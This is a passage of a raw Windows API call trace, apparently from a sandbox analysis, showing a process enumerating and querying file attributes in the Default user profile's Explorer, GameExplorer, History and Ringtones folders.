	[0082.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xeb8291b2, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExplorerStartupLog_RunOnce.etl", cAlternateFileName="EXPLOR~1.ETL")) returned 1
	[0082.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbcache_1024.db", cAlternateFileName="TH78CB~1.DB")) returned 1
	[0082.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbcache_256.db", cAlternateFileName="TH5A2B~1.DB")) returned 1
	[0082.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x17dc6ba, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbcache_32.db", cAlternateFileName="THUMBC~4.DB")) returned 1
	[0082.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbcache_96.db", cAlternateFileName="THUMBC~3.DB")) returned 1
	[0082.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x17dc6ba, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xcb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbcache_idx.db", cAlternateFileName="THUMBC~2.DB")) returned 1
	[0082.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbcache_sr.db", cAlternateFileName="THUMBC~1.DB")) returned 1
	[0082.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.365] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.366] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog.etl"), fInfoLevelId=0x0, lpFileInformation=0x1268d9f8 | out: lpFileInformation=0x1268d9f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4777f11, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1
	[0082.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog_runonce.etl"), fInfoLevelId=0x0, lpFileInformation=0x1268da48 | out: lpFileInformation=0x1268da48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xeb8291b2, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1
	[0082.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), fInfoLevelId=0x0, lpFileInformation=0x1268da98 | out: lpFileInformation=0x1268da98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1
	[0082.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db"), fInfoLevelId=0x0, lpFileInformation=0x1268dae8 | out: lpFileInformation=0x1268dae8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x100000)) returned 1
	[0082.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db"), fInfoLevelId=0x0, lpFileInformation=0x1268db38 | out: lpFileInformation=0x1268db38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x17dc6ba, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1
	[0082.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db"), fInfoLevelId=0x0, lpFileInformation=0x1268db88 | out: lpFileInformation=0x1268db88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1
	[0082.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db"), fInfoLevelId=0x0, lpFileInformation=0x1268dbd8 | out: lpFileInformation=0x1268dbd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x17dc6ba, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xcb8)) returned 1
	[0082.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db"), fInfoLevelId=0x0, lpFileInformation=0x1268dc28 | out: lpFileInformation=0x1268dc28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1
	[0082.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\gameexplorer"), fInfoLevelId=0x0, lpFileInformation=0x1268dc78 | out: lpFileInformation=0x1268dc78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.368] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\gameexplorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.368] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.368] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.368] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.368] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history"), fInfoLevelId=0x0, lpFileInformation=0x1268dcc8 | out: lpFileInformation=0x1268dcc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.369] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.369] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.369] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.369] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.369] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e4d86f4, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0082.369] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0082.369] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.369] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5"), fInfoLevelId=0x0, lpFileInformation=0x1268de08 | out: lpFileInformation=0x1268de08*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e4d86f4, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.369] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.370] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e4d86f4, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e4d86f4, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd021fb60, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0082.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.370] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1268def8 | out: lpFileInformation=0x1268def8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91)) returned 1
	[0082.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), fInfoLevelId=0x0, lpFileInformation=0x1268df48 | out: lpFileInformation=0x1268df48*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd021fb60, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1
	[0082.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\Low" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\low"), fInfoLevelId=0x0, lpFileInformation=0x1268df98 | out: lpFileInformation=0x1268df98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.370] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\Low" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\low"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.370] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.371] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.371] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.371] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a8008 | out: lpFileInformation=0x123a8008*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91)) returned 1
	[0082.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Ringtones" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\ringtones"), fInfoLevelId=0x0, lpFileInformation=0x123a8058 | out: lpFileInformation=0x123a8058*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
